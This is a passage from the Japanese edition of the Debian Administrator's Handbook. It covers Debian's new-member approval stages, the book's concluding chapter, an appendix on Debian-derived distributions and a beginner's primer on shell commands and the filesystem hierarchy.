加えて、Debian に参加したいと思っている各候補者はプロジェクトの仕組みと時間がたてば間違いなく直面するであろう問題を解決する際に適切に相互協力する方法を知ることを期待されます。これらに関するすべての情報は新しいメンテナ向けのマニュアルと Debian 開発者リファレンスの中で大ざっぱに説明されています。応募管理者からの質問に答えるには、これらの文書を注意深く読むだけで十分です。回答が不十分な場合、候補者はその旨通知されます。候補者は再試験を受ける前に関連する文書を (もう一度) 読まなければいけません。既存の文書に質問に対する適切な回答が含まれなかった場合、候補者は Debian 内の実務経験を使うか他の Debian 開発者との議論を通じて回答を作成しても構いません。このメカニズムによって、候補者が Debian のすべての部分に参加する前に一部分だけに参加することが保証されます。これは慎重な方針です。この方針によって最終的に Debian プロジェクトに参加する候補者は永久的に広がるジグソーパズルにそのピースの 1 つとして組み込まれます。

この段階は新メンバー過程に参加する開発者の間で使われる用語の **Philosophy & Procedures** (略して P&P、哲学と手順) として知られています。

能力の確認

公式 Debian 開発者の受け入れ過程への出願は理に適ったものでなければいけません。プロジェクトメンバーになるには、候補者はプロジェクトメンバーの地位を得ることが合理的な要求であり、プロジェクトメンバーの地位を得ることで Debian の手助けに関する自分の作業が容易になることを示す必要があります。最

も一般的な理由付けは Debian 開発者の地位が Debian パッケージのメンテナンスを簡単にするというものです。しかしこれは唯一の理由ではありません。特定のアーキテクチャへの移植に貢献するためにプロジェクトに参加している開発者もいれば、文書を改良したいと思ってプロジェクトに参加している開発者もいます。

この段階で、候補者は Debian プロジェクトの中で自分が何をしたいと思っているのか宣言し、その目的のために自分がこれまで何をしてきたか示す機会を与えられます。Debian は実用主義的なプロジェクトで、やっていることが言っていることと食い違っている場合、言うだけでは不十分です。一般的に言って、プロジェクト内で希望する役割がパッケージメンテナンスに関連する場合、候補となっているパッケージの最初のバージョンは必ず技術的な正当性を確認され、既存の Debian 開発者から選ばれた保証人によって Debian サーバにアップロードされることでしょう。

COMMUNITY

パッケージの支援

Debian 開発者は誰かによって用意されたパッケージを「支援」することが可能です。これは注意深く調査した後に Debian 開発者が公式の Debian リポジトリの中でパッケージを公開することを意味します。このメカニズムのおかげで、まだ新メンバー過程を通過していない外部の人も時折 Debian プロジェクトに貢献することが可能になります。同時に、Debian に含まれるすべてのパッケージは常に公式メンバーによって確認されていることが保証されます。

最後に、応募管理者は詳細な質問を投げかけて技術的な (パッケージング) スキルを確認します。間違った回答は許されませんが、回答時間に制限はありません。どんな文書を参考にしても構いませんし、最初の回答が不十分ならば何度も回答を作っても構いません。この段階は候補者を不当に冷遇するためのものではなく、新しい貢献者が共通に認識しておくべき最低限のわずかな知識を保証するためのものです。

この段階は応募管理者によって使われる隠語の **Tasks & Skills** (略して T&S、作業と技能) として知られています。

最後の承認

最後の段階で、DAM (**Debian アカウントマネージャ**) がすべてのプロセスを再確認します。DAM は応募管理者が集めた候補者に関するすべての情報を再確認し、Debian サーバにアカウントを作成するか否かについて決断を下します。追加的情報が必要な場合、アカウントの作成が遅れるかもしれません。応募管理者がプロセスに従って良い作業をしていれば、この段階で不合格になることはほとんどありません。しかし、不合格なる場合も時々あります。不合格は永久的なものではありません。候補者はしばらくの後に再試験を受けることが可能です。

DAM の決定は権威あるもので (ほとんど) 覆されません。このおかげで、DAM の役職に就く人はこれまでずっと批判され続けています。

キーワード

将来
改善
意見

章

結論、Debian の未来

16

目次

今後の開発 440　Debian の未来 440　本書の将来 441

Falcot Corp の物語はこの最後の章で終わります。しかし Debian は生き続け、そして Debian の将来が多くの興味深い驚きをもたらすことは間違いありません。

16.1. 今後の開発

Debian の新バージョンがリリースされる数週間前 (または数カ月前) にリリースマネージャは次のバージョンのコードネームを選びます。現在は Debian バージョン 8 が公開中です。しかしながら開発者は既に次のバージョン、コードネーム **Stretch**、の作業で忙しいです。

開発計画に関する公式のリストは存在しませんし、Debian が次期バージョンの技術的目標に関して何かを保証することは絶対にありません。しかしながら、いくつかの開発の方向性は既に発表されており、何が起こるか (起こらないか) について予想することが可能です。

安全性と信頼性を向上させるために、すべてとは言わないまでも多くのパッケージが再現性良くビルドされるようになるでしょう。すなわち、ソースパッケージからバイト単位で同一のバイナリパッケージを再ビルドできるようになるでしょう。こうすることで誰でもビルド中にパッケージが改竄されていないことを確認できるようになります。

これに関連して、デフォルトの安全性を向上させ、「古典的な」攻撃と監視社会によってもたらされる新しい脅威の両方を軽減するために、数多くの努力がなされるでしょう。

もちろんすべての主要なソフトウェアスイートはメジャーリリースバージョンに更新されるでしょう。さまざまなデスクトップの最新版は一段と使いやすいものとなり、新機能を利用できるようになるでしょう。一部のデスクトップ環境は X11 を現代的な代替品で置き換えることを目標に開発された新しい描画サーバである Wayland を利用できるようになるでしょう (デフォルトではないかもしれません)。

アーカイブメンテナンスソフトウェアの新機能である「bikesheds」を使うことで、開発者は main リポジトリに加えて特別な目的を持つパッケージリポジトリをホストすることが可能になります。つまり「bikesheds」を使うことで開発者は、個人パッケージリポジトリ、main アーカイブに入れる準備の整っていないソフトウェアのリポジトリ、極めて利用者の少ないソフトウェアのリポジトリ、新しいアイディアをテストするための一時的なリポジトリなどをホストすることが可能になります。

16.2. Debian の未来

これらの内部開発に加えて、新しい Debian ベースのディストリビューションが登場することがかなり期待されます。なぜなら、多くのツールのおかげで Debian ベースのディストリビューションを作る方法がさらに簡単になっているからです。Debian の使われる分野をさらに広くするために、新しい専門化サブプロジェクトも開始されることでしょう。

Debian ユーザコミュニティの規模は拡大し、新しい貢献者が Debian プロジェクトに参加するでしょう。そしてその貢献者とはあなたかもしれません!

Debian プロジェクトは以前にもまして強力なものとなり、ユニバーサルディストリビューションという Debian の目標に向かって進むでしょう。そして Debian コミュニティ内の内輪ネタ的な表現をすれば**世界征服**を成し遂げるでしょう。

Debian は高齢で相当な大きさにも関わらず、Debian はあらゆる (しばしば予想外の) 方面に成長し続けています。貢献者はアイディアに満ちており、言い争いになる場合もありますが、開発メーリングリスト上の議論は勢いを増し続けています。Debian はしばしばブラックホールと比較されます。Debian の密度は新しいフリーソフトウェアプロジェクトにとって魅力的なものです。

多くの Debian ユーザが満足しているという外面的な評価以上に、Debian の根幹を成す方向性はますます揺るぎないものになりつつあります。すなわち人々は個人で作業を行うよりも他人と協力して作業を行うほうが皆にとってより良い結果につながるという点に次第に気が付き始めています。これはサブプロジェクトの型で Debian に合流するディストリビューションが使う論理的根拠です。

ゆえに Debian プロジェクトは絶滅の危機に脅かされることはありません。

16.3. 本書の将来

われわれ著者は本書がフリーソフトウェアの精神で進化することを望んでいます。そのため、われわれ著者は貢献、意見、提案、批判を歓迎します。これらを著者である Raphaël (hertzog@debian.org) か Roland (lolando@debian.org) 宛にお送りください。実用的なフィードバックの場合、気軽に debian-handbook Debian パッケージに対してバグ報告を投稿してください。われわれ著者のウェブサイトは本書の更新に関するすべての情報を集めるために使われています。このウェブサイトには貢献する方法に関する情報が含まれ、特に本書を翻訳して今よりも多くの人々が利用できるものにしたいと思っている人にとって有用です。

➡ `http://debian-handbook.info/`

本書を執筆するにあたり、われわれ著者は Debian から教えられた経験の内容のほとんどを本書に載せようとしました。そうすれば、誰もが Debian ディストリビューションを使うことが可能になり、可能な限り素早く Debian を最大限に活用することが可能になるからです。われわれ著者は本書が Debian をより分かりやすくより人気にするための一助となることを望んでおり、本書が世間に広く知れ渡ることを歓迎します!

われわれ著者は最後に個人的内容で本書を締め括りたいと思っています。われわれ著者は本書を執筆 (および翻訳) するために、通常の本業の他に、かなりの時間をかけました。われわれ著者は 2 人ともフリーランスのコンサルタントなので、新しい収入源があることで Debian を改善するためにより長い時間を使うことが可能になります。そしてわれわれ著者は本書が成功し、本書がわれわれ著者の新しい収入源になることを期待しています。その時が来るまでは、遠慮なくわれわれ著者のコンサルティングサービスをお使いください!

➡ `http://www.freexian.com`

➡ `http://www.gnurandal.com`

それではまた!

付録

派生ディストリビューション A

目次

派生物調査と協力体制 443 Ubuntu 443 Linux Mint 444 Knoppix 445 Aptosid と Siduction 445
Grml 446 Tails 446 Kali Linux 446 Devuan 446 Tanglu 446 DoudouLinux 447 Raspbian 447
その他 447

A.1. 派生物調査と協力体制

Debian プロジェクトは派生ディストリビューションの重要性を完全に認めており、関係者間の協力を活発に支援しています。通常これは、当初派生ディストリビューションで開発されていた改善を Debian が取り込むことを意味します。こうすることで、誰もが恩恵を受けることができ、長期におよぶメンテナンス作業を減らすことになります。

このため、派生ディストリビューションは debian-derivatives@lists.debian.org メーリングリストの議論に参加し、派生物調査に参加するよう勧められます。派生物調査は派生ディストリビューションの中でなされた作業に関する情報を集めることを目標にしています。こうすることで、公式の Debian 開発者が Debian 派生物内の自分のパッケージの状況をより良く追跡することが可能になります。

➡ `https://wiki.debian.org/DerivativesFrontDesk`

➡ `https://wiki.debian.org/Derivatives/Census`

それでは、最も興味深く人気のある派生ディストリビューションを簡単に説明していきましょう。

A.2. Ubuntu

Ubuntu がフリーソフトウェア世界に登場した時、Ubuntu は一大旋風を巻き起こしました。これは次の正当な理由があります。なぜなら、Ubuntu ディストリビューションを作った企業である Canonical Ltd. は 30 人程度の Debian 開発者を雇用して創設されており、そして 1 年に 2 回新リリースを行う一般人向けのディストリビューションを提供するという大規模な目標を公式に宣言したからです。さらに Canonical Ltd. はそれぞれのバージョンを 18 カ月間メンテナンスすることも表明しました。

これらの目標を達成するために対象範囲を狭める必要がありました。このため Ubuntu は Debian よりも数少ないパッケージに重点的に取り組んでおり、主として GNOME デスクトップに依存しています (しかしながら、公式の Ubuntu 派生物である「Kubuntu」は KDE に依存しています)。すべては国際化されており、数多くの言語で利用できるようにされています。

今のところ、Ubuntu はリリース周期を保つように管理されています。Ubuntu は**長期サポート** (LTS) リリースを公開しており、これは 5 年間のメンテナンス期間を保証しています。2015 年 4 月の時点で、現在の LTS 版は Utopic Unicorn という愛称のバージョン 14.04、最新の通常版は Vivid Vervet という愛称の 15.04 です。バージョン番号はリリース日を表しています。たとえば、15.04 は 2015 年 4 月にリリースされたことを意味しています。

IN PRACTICE

Ubuntu のサポートとメンテナンス保証

Canonical は対象のリリースのメンテナンス期間の長さを決定する規則を何回も調整しました。Canonical は企業として Ubuntu アーカイブの `main` と `restricted` セクションに含まれるすべてのソフトウェアに対するセキュリティ更新を提供することを保証しています。セキュリティ更新が提供される期間は LTS リリースの場合 5 年間、非 LTS リリースの場合 9 カ月間です。それ以外 (`universe` と `multiverse` セクションに含まれるソフトウェア) は MOTU チーム (**Masters Of The Universe**) のボランティアが最善の努力を行うという条件の下でメンテナンスされます。`universe` と `multiverse` セクションに含まれるパッケージを使っている場合、自分の手でセキュリティサポートを取り扱う覚悟が必要です。

Ubuntu は一般人に広く支持されるようになりました。数百万のユーザが Ubuntu のインストールの簡単さとデスクトップを簡単に使えるようにするという Ubuntu の業績に感銘を受けました。

過去、Ubuntu と Debian には緊張関係がありました。そして Ubuntu が Debian に対して直接的に貢献することに大きな希望を託した Debian 開発者は Canonical のマーケティング (これは Ubuntu はフリーソフトウェア世界の善良な市民だったことを暗黙のうちに示していました) と実践方法 (Ubuntu は Debian パッケージに対して適用した変更を公開するに過ぎませんでした) の違いに落胆しました。年月を重ねるに連れて状況は改善しつつあり、現在の Ubuntu はパッチを最も適切な場所に送付するという慣行をよく守っています (しかしながら、この慣行は Ubuntu がパッケージングを行った外部ソフトウェアだけに適用され、Mir や Unity などの Ubuntu 特有のソフトウェアには適用されていません)。

➡ `http://www.ubuntu.com/`

A.3. Linux Mint

Linux Mint は (部分的に) コミュニティによってメンテナンスされているディストリビューションで、寄付と広告によって支えられています。Linux Mint の主力成果物は Ubuntu を基にしていますが、Linux Mint は連続的に進化し続ける「Linux Mint Debian Edition」という亜種も提供しています (これは Debian テスト版を基にしています)。どちらの場合も、最初のインストールはライブ DVD を起動することから始まります。

Linux Mint ディストリビューションは先進的な技術を簡単に使えるようにすることを目標としており、一般的なソフトウェアに対する特別なグラフィカルユーザインターフェースを提供しています。たとえば、Linux Mint はデフォルトで GNOME ではなく Cinnamon を採用しています (ただし MATE および KDE と Xfce も提供しています)。同様に、Linux Mint のパッケージ管理インターフェースは APT に基づいていますが、各パッケージを更新する場合の危険性を評価する特別なインターフェースを提供しています。

Linux Mint には数多くのプロプライエタリソフトウェアが含まれており、このことによりプロプライエタリソフトウェアを必要とするユーザのユーザ体験が向上します。Linux Mint に含まれるプロプライエタリソフトウェアの一例として、Adobe Flash やマルチメディアコーデックなどがあります。

➡ `http://www.linuxmint.com/`

A.4. Knoppix

Knoppix ディストリビューションに関してほとんど紹介する必要はないでしょう。Knoppix は**ライブ CD** を提供する最初の人気ディストリビューションでした。言い換えれば、**ライブ CD** とはハードディスクの状態に依存せずにすぐに使える Linux システムを実行する起動可能な CD-ROM です。すなわち、マシンにインストール済みのいかなるシステムにも影響をおよぼしません。Knoppix ディストリビューションは、利用できるデバイスの自動検出機能を使うことで、多くのハードウェア構成で動きます。CD-ROM にはおよそ 2 GB の (圧縮された) ソフトウェアが含まれ、DVD-ROM 版の場合収録されているソフトウェアのサイズはより大きくなります。

Knoppix の CD-ROM を USB メモリに組み込むことで、ファイルと一緒にシステムを持ち歩いて、コンピュータに痕跡を残さずに作業することが可能になります。つまり、Knoppix ディストリビューションはハードディスクを全く使いません。Knoppix はデフォルトで LXDE (軽量のグラフィカルデスクトップ) を採用していますが、DVD 版では GNOME と KDE も収録しています。さらに Knoppix の他の多くのディストリビューションでは、デスクトップとソフトウェアの他の組み合わせも提供されています。これの実現には、ライブ CD の作成を比較的簡単に行うことを可能にする **live-build** Debian パッケージが寄与しています。

➡ `http://live.debian.net/`

Knoppix はインストーラを備えている点に注意してください。すなわち Knoppix ディストリビューションをライブ CD で試した後に、性能を向上させる目的で Knoppix をハードディスクにインストールすることも可能です。

➡ `http://www.knopper.net/knoppix/index-en.html`

A.5. Aptosid と Siduction

Aptosid と Siduction はコミュニティベースのディストリビューションであり、Debian **Sid** (**不安定版**) の変更に追従しています。Aptosid や Siduction という名前はこの特徴から採られています。修正は狭い範囲に限定されています。つまり、Aptosid と Siduction の目標は最新のソフトウェアを提供し、最新のハードウェア用のドライバを更新することに限定されています。一方でユーザは何時でも公式の Debian ディストリビューションに切り替えることが可能です。以前 Aptosid は Sidux として知られていました。Siduction は Aptosid に対するより最近のフォークです。

➡ `http://aptosid.com`

➡ `http://siduction.org`

A.6. Grml

Grml はシステムのインストール、配備、レスキューを担当しているシステム管理者用の多くのツールを備えるライブ CD です。Grml のライブ CD は full と small の 2 種類あり、さらに 32 ビットと 64 ビット PC 用の CD が用意されています。言うまでもなく、full と small の違いは収録されているソフトウェアの数で、この違いがサイズに反映されています。

➡ `https://grml.org`

A.7. Tails

Tails (The Amnesic Incognito Live System) の目標は匿名性と秘匿性を守るライブシステムを提供することです。Tails は自分が実行されたコンピュータにいかなる痕跡も残さないように細心の注意を払い、最も匿名性の高い方法で Internet に接続するために Tor ネットワークを使います。

➡ `https://tails.boum.org`

A.8. Kali Linux

Kali Linux はペネトレーションテスト (略して「pentesting」) に特化した Debian ベースのディストリビューションです。Kali Linux は既存のネットワークや稼働中のコンピュータのセキュリティを監査するソフトウェアを提供し、攻撃を受けたコンピュータを解析します (「コンピュータフォレンジック」としても知られています)。

➡ `https://kali.org`

A.9. Devuan

Devuan は Debian の比較的新しいフォークです。Devuan は Debian がデフォルトの init システムを `systemd` に切り替えるという決定に対する反発行動として 2014 年に開始されました。sysv に魅力を感じて `systemd` の (現実的および感覚的な) 欠点に反対するユーザのグループが `systemd` のないシステムをメンテナンスする目的で Devuan を開始しました。2015 年 3 月の時点で、Devuan グループはまだ実際のリリースを公開していません。つまり、Devuan プロジェクトが成功して活躍の場を見いだすのか、それとも systemd の対抗勢力が systemd を受け入れるのか、今のところまだわからないということです。

➡ `https://devuan.org`

A.10. Tanglu

Tanglu はもう 1 つの Debian 派生物です。Tanglu は Debian **テスト版**と**不安定版**の混合物に基づいており、一部のパッケージにパッチを当てています。Tanglu の目標は、Debian のリリース条件に制限されることなく、新しいソフトウェアに基づく現代的なデスクトップに適したディストリビューションを提供することです。

➡ `http://tanglu.org`

A.11. DoudouLinux

DoudouLinux は幼児 (2 歳以上) を対象にしています。DoudouLinux は幼児を対象にしているため、大きくカスタマイズされたグラフィカルインターフェース (LXDE に基づきます) を提供し、多くのゲームと教育的アプリケーションを付属させています。インターネットアクセスは、子供に問題のあるウェブサイトを見せないように、フィルタされます。広告はブロックされます。DoudouLinux の目標は、コンピュータで DoudouLinux が起動したら、親は自分の子供に自由にそれを使わせることができることです。そして、子供はゲーム機のように DoudouLinux を使うのが大好きになることです。

➡ `http://www.doudoulinux.org`

A.12. Raspbian

Raspbian は Debian を人気の (安価な) シングルボードコンピュータである Raspberry Pi ファミリーに最適化して再ビルドしたディストリビューションです。Raspberry Pi 用のハードウェアは Debian の **armel** アーキテクチャで得られる利点を使うには強力ですが、**armhf** で要求されるであろういくつかの機能を欠いています。そんなわけで、Raspbian は両者の仲介者であり、Raspberry Pi のハードウェアに特化した再ビルドであり、Raspberry Pi コンピュータだけを対象にしたパッチを含んでいます。

➡ `https://raspbian.org`

A.13. その他

Distrowatch ウェブサイトには数多くの Linux ディストリビューションが載せられており、その多くが Debian を基にしています。Distrowatch ウェブサイトを閲覧することはフリーソフトウェア世界の多様性を感じる素晴らしい方法です。

➡ `http://distrowatch.com`

Distrowatch の検索フォームを使うと、祖先を基準にディストリビューションを見つけ出すことが可能です。2015 年 3 月の時点で、Debian を祖先に持つ活発なディストリビューションは 131 種あります!

➡ `http://distrowatch.com/search.php`

付録

簡単な補習講座 B

目次

シェルと基本コマンド 449　ファイルシステム階層の構成 452　コンピュータ内部の仕組み、さまざまな層の関係性 453
カーネルが担当している一部の操作 456　ユーザ空間 459

B.1. シェルと基本コマンド

Unix 世界では、管理者全員が遅かれ早かれコマンドラインを使わなければいけません。たとえば、システムが正常な起動に失敗して、コマンドラインのレスキューモードだけが提供される場合です。それゆえ、このような状況下ではコマンドラインインターフェースを取り扱う技術を身に付けているということが基本的なサバイバル技術です。

QUICK LOOK
コマンドインタプリタの起動

「端末」として知られるアプリケーションを使えば、グラフィカルデスクトップからコマンドライン環境を実行することも可能です。GNOME の場合、「端末」は「アクティビティ」画面 (マウスを画面の左上隅に移動させると表示されます) からアプリケーション名の最初の数文字を入力することで開始することが可能です。KDE の場合、「端末」は K → アプリケーション → システムメニューの中にあります。

この節では、コマンドを簡単に見ていきます。ここで挙げたコマンドには多くのオプションが用意されていますが、ここでは説明しませんので、各コマンドに対応するマニュアルページに書かれているたくさんの文書を参照してください。

B.1.1. ディレクトリツリーの閲覧とファイル管理

セッションが開始されたら、`pwd` コマンドでファイルシステム上の現在の場所を表示することが可能です (`pwd` は **print working directory** の略語です)。現在のディレクトリを変更するには、`cd` **`directory`** コマンドを使います (`cd` は **change directory** の略語です)。親ディレクトリは常に .. (ドット 2 つ) で表します。これに対して、現在のディレクトリは . (ドット 1 つ) で表します。`ls` コマンドは指定したディレクトリの内容

を **listing (表示)** します。パラメータを与えなかった場合、ls コマンドは現在のディレクトリの内容を表示します。

```
$ pwd
/home/rhertzog
$ cd デスクトップ
$ pwd
/home/rhertzog/デスクトップ
$ cd .
$ pwd
/home/rhertzog/デスクトップ
$ cd ..
$ pwd
/home/rhertzog
$ ls
ダウンロード　デスクトップ　ビデオ　画像
テンプレート　ドキュメント　音楽　　公開
```

新しいディレクトリを作成するには mkdir **directory** を使い、既存の (空) ディレクトリを削除するには rmdir **directory** を使います。mv コマンドを使うことでファイルとディレクトリの **moving (移動)** および名前変更が可能です。一方で、ファイルを **removing (削除)** するには rm **file** を実行します。

```
$ mkdir test
$ ls
test　　テンプレート　ドキュメント　音楽　公開
ダウンロード　デスクトップ　ビデオ　　画像
$ mv test new
$ ls
new　　テンプレート　ドキュメント　音楽　公開
ダウンロード　デスクトップ　ビデオ　　画像
$ rmdir new
$ ls
ダウンロード　デスクトップ　ビデオ　画像
テンプレート　ドキュメント　音楽　　公開
```

B.1.2. テキストファイルの表示と編集

cat **file** コマンド (ファイルを標準出力デバイスに **concatenate (連結)** する) はファイルを読み込んで内容を端末に表示します。ファイルが一画面に表示するには大きすぎる場合、less (および more) などのページャーを使い、ページごとに内容を表示します。

editor コマンドを使えばテキストエディタ (vi や nano など) が起動し、テキストファイルの作成や編集や読み込みを行うことが可能です。単純なファイルならば、リダイレクト機能を使ってコマンドインタプリタから作ることも可能です。たとえば echo ″**text**″ >**file** は「**text**」という内容で **file** と名付けられたファイルを作成します。echo ″**moretext**″ >>**file** などのコマンドを使えば、ファイルの最後に行を追加することも可能です。この例で示した >> に注意してください。

B.1.3. ファイルとファイル内容の検索

find **directory criteria** コマンドは **directory** の下にあるファイルから **criteria** という条件に一致するものを探します。最もよく使われる条件は -name **name** です。すなわちこれは名前を基にしてファイルを探すという条件です。

grep **expression files** コマンドは **files** で指定したファイルの内容を検索して、**expression** で指定した正規表現 (補注「 正規表現」262 ページを参照してください) に一致する行を抽出します。-r オプションを追加すれば、パラメータとして指定されたディレクトリに含まれるすべてのファイルに対して再帰的に検索することが可能です。-r オプションを使うことで、内容の一部を元にファイルを探すことが可能です。

B.1.4. プロセス管理

ps aux コマンドは現在実行中のプロセスをリストし、プロセスの **pid** (プロセス ID) を表示することでプロセスを識別する手助けになります。プロセスの **pid** がわかったら、kill -**signal pid** コマンドを使ってプロセスにシグナルを送信することが可能です (シグナルを送信するユーザ自身が対象のプロセスの所有者である場合に限ります)。シグナルにはさまざまな種類があります。しかし、最もよく使われるのが TERM (処理の終了を丁寧に依頼する) と KILL (強制的に終了する) です。

コマンドの最後に「&」を付けた場合、コマンドインタプリタはバックグラウンドでプログラムを実行します。アンパサンドを使うことで、ユーザは、コマンドがまだ実行中であっても、すぐにシェルの制御を再開することが可能です (ここで実行したコマンドはユーザから見えなくなり、バックグラウンドプロセスになります)。jobs コマンドはバックグラウンドで実行中のプロセスをリストします。さらに fg **%job-number** (**foreground** の略語) は指定したジョブをフォアグラウンドに復活させます。コマンドがフォアグラウンドで実行されている場合 (通常通り開始した場合や fg でフォアグラウンドに復活した場合)、Control+Z キーの組み合わせでフォアグラウンドプロセスを一時停止してコマンドラインの制御を再開することが可能です。プロセスをバックグラウンドで再開するには、bg **%job-number** (**background** の略語) を使います。

B.1.5. システム情報、メモリ、ディスク領域、識別情報

free コマンドはメモリに関する情報を表示します。一方、df (**disk free**) はファイルシステムにマウントされた各ディスクの利用できるディスク領域を報告します。-h オプション (**human readable** の意味) はサイズをわかりやすい単位 (通常メガバイトやギガバイト) で変換します。同様に、free コマンドは -m と -g オプションをサポートしており、データはそれぞれメガバイトとギガバイト単位のどちらか一方で表示されます。

```
$ free
              total       used       free     shared    buffers     cached
Mem:        1028420    1009624      18796          0      47404     391804
-/+ buffers/cache:     570416     458004
Swap:       2771172     404588    2366584
$ df
ファイルシス        1K-ブロック       使用     使用可 使用% マウント位置
/dev/sda2               9614084    4737916    4387796   52% /
tmpfs                    514208          0     514208    0% /lib/init/rw
udev                      10240        100      10140    1% /dev
tmpfs                    514208     269136     245072   53% /dev/shm
```

```
/dev/sda5              44552904  36315896   7784380   83% /home
```

id コマンドはセッションを実行しているユーザのユーザ名をユーザが所属するグループのリストと一緒に表示します。一部のファイルやデバイスへのアクセスはグループメンバーだけに制限されているかもしれませんので、ユーザの所属するグループを確認することが役に立つ場合があります。

```
$ id
uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo
    ➥ ),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)
```

B.2. ファイルシステム階層の構成

B.2.1. ルートディレクトリ

Debian システムは**ファイルシステム階層標準** (FHS) に沿って構成されています。ファイルシステム階層標準ではそれぞれのディレクトリの目的が定義されています。たとえば、最上位ディレクトリに含まれるディレクトリの目的は以下の通り定義されています。

- /bin/。これは基本プログラムを格納するディレクトリです。
- /boot/。これは Linux カーネルおよび起動処理の初期に要求されるその他のファイルを格納するディレクトリです。
- /dev/。これはデバイスファイルを格納するディレクトリです。
- /etc/。これは設定ファイルを格納するディレクトリです。
- /home/。これはユーザの個人ファイルを格納するディレクトリです。
- /lib/。これは基本ライブラリを格納するディレクトリです。
- /media/*。これはリムーバブルデバイス (CD-ROM、USB メモリなど) 用のマウントポイントです。
- /mnt/。これは一時的なマウントポイントです。
- /opt/。これはサードパーティが提供する追加アプリケーションを格納するディレクトリです。
- /root/。これは管理者 (root) の個人ファイルを格納するディレクトリです。
- /run/。再起動後に保持されない揮発性のランタイムデータ (FHS にはまだ含まれていません)。
- /sbin/。これはシステムプログラムを格納するディレクトリです。
- /srv/。これは自システム上で運用されているサーバが使うデータを格納するディレクトリです。
- /tmp/。これは一時ファイルを格納するディレクトリです。このディレクトリの内容は起動時に削除されます。
- /usr/。これはアプリケーションを格納するディレクトリです。このディレクトリは bin、sbin、lib のようにさらに細分されます (各ディレクトリの目的はルートディレクトリにこれらのディレクトリが含まれる場合と同じです)。さらに、/usr/share/ にはアーキテクチャに依存しないデータが含まれます。/usr/local/ は管理者が手作業でアプリケーションをインストールする場所として用意されています。こうすることで、パッケージングシステム (dpkg) によって取り扱われるファイルを上書きしなくても済むようになります。

- /var/。これはデーモンの取り扱う可変データを格納するディレクトリです。これには、ログファイル、キュー、スプール、キャッシュなどが含まれます。
- /proc/ と /sys/ は Linux カーネルに特有のディレクトリです (FHS で定義されていません)。カーネルはユーザ空間にデータを書き出すためにこれらのディレクトリを使います (この概念に関する説明は第 B.3.4 節「ユーザ空間」456 ページと第 B.5 節「ユーザ空間」459 ページを参照してください)。

B.2.2. ユーザのホームディレクトリ

ユーザのホームディレクトリの内容は標準化されていませんが、特筆すべき慣習が存在します。1 つ目は、ユーザのホームディレクトリはチルダ (「~」) で表される場合が多いということです。これを知っておくと役に立ちます。なぜなら、コマンドラインインタプリタは自動的にチルダを正しいディレクトリ (通常 /home/**user**/) に置き換えるからです。

伝統的に、アプリケーション設定ファイルはユーザのホームディレクトリの下に直接保存されている場合が多く、設定ファイルの名前は通常ドットで始まります (たとえば、mutt 電子メールクライアントの設定は ~/.muttrc に保存されます)。通常、ドットで始まるファイル名は表示されない点に注意してください。ls を使ってドットから始まるファイル名を持つファイルを表示するには、-a オプションを付けてください。グラフィカルファイルマネージャでこの種の隠しファイルを表示するには、それぞれのアプリケーションの設定を変更してください。

一部のプログラムは 1 つのディレクトリ (たとえば ~/.ssh/ など) に複数の設定ファイルを保存します。また、一部のアプリケーション (Iceweasel ウェブブラウザなど) はダウンロードデータをキャッシュする目的で自分の設定ディレクトリを使います。このため、アプリケーション設定ディレクトリによって大量のディスク領域が消費される可能性があります。

これらの設定ファイルはユーザのホームディレクトリ直下に保存され、まとめて**ドットファイル**と呼ばれており、増え続けることでユーザのホームディレクトリを散らかす原因となっています。幸いなことに、FreeDesktop.org の傘下で行われた努力により「XDG 基本ディレクトリ仕様」が生まれました。これは設定ファイルと設定ディレクトリを一掃することを目的とする仕様です。XDG 基本ディレクトリ仕様によれば、設定ファイルは ~/.config に、キャッシュファイルは ~/.cache に、アプリケーションデータファイルは ~/.local (およびそのサブディレクトリ) に保存すると決められています。XDG 基本ディレクトリ仕様はゆっくりと勢いを増しつつあり、一部のアプリケーション (特にグラフィカルアプリケーション) はこの仕様に従うようになっています。

通常グラフィカルデスクトップは ~/デスクトップ/ ディレクトリ (日本語で設定されていないシステムの場合、適切に翻訳された名前のディレクトリ) の内容をデスクトップ (つまり、すべてのアプリケーションを閉じるかアイコン化した時の画面) に表示します。

最後に、電子メールシステムは受信した電子メールを ~/Mail/ ディレクトリに保存する場合があります。

B.3. コンピュータ内部の仕組み、さまざまな層の関係性

コンピュータはどちらかと言えば抽象的なものとして考えられる場合が多く、外から見えるインターフェースは内部の複雑さに比べてずっと簡単なものです。この複雑さの原因は関連する要素が多いことです。しかしながら、これらの要素は層状構造とみなすことが可能で、ある層が影響をおよぼしたり影響を受けたりするのはその層の真上と真下の層に限られています。

すべてがうまく動作している限り、エンドユーザは各層の詳細を理解する必要はありません。「インターネットにつながらない!」などの問題に直面した場合、真っ先にやるべきは、問題の原因になっている層を特定することです。ネットワークカード (ハードウェア) は動いていますか? コンピュータはネットワークカードを認識していますか? Linux カーネルはネットワークカードを認識していますか? ネットワークパラメータは適切に設定されていますか? これらの質問により、コンピュータは適切な層に分割され、問題の本質的な原因になっている層を特定することが可能です。

B.3.1. 最下層、ハードウェア

基本的なことを思い出すことから始めましょう。何よりもまず、コンピュータはハードウェア部品の集合体である、という点です。ほとんどの場合、主要基板 (**マザーボード**として知られています) があり、主要基板に 1 台 (または複数台) のプロセッサ、RAM、デバイスコントローラ、(他のデバイスコントローラを搭載する) 拡張カードを差し込む拡張スロットが取り付けられています。最も注目すべきコントローラはハードディスクなどのストレージデバイスを接続する IDE (パラレル ATA)、SCSI、シリアル ATA です。その他のコントローラには、多くのさまざまなデバイス (ウェブカメラから温度計、キーボードからホームオートメーションシステムなど) をホストすることが可能な USB と IEEE 1394 (Firewire) があります。これらのコントローラには複数のデバイスを接続することが可能です。このため、コントローラによって取り扱われる完全なサブシステムは「バス」と呼ばれます。拡張カードにはグラフィックカード (モニタ画面をここに接続します)、サウンドカード、ネットワークインターフェースカードなどがあります。一部のマザーボードはいくつかの機能をあらかじめ備えており、拡張カードを必要としません。

IN PRACTICE

ハードウェアが動作していることの確認

ハードウェアの一部が動作していることを確認することは難しいです。逆に、ハードウェアが動作していないことを証明することはとても簡単です。

ハードディスクドライブは回転する円盤と移動する磁気ヘッドから構成されています。ハードディスクの電源を入れると、円盤モータから特徴的な音が聞こえます。さらに円盤モータはエネルギーを熱として放出します。従って、電源を入れても冷たいままで、音が聞こえないハードディスクドライブは故障しています。

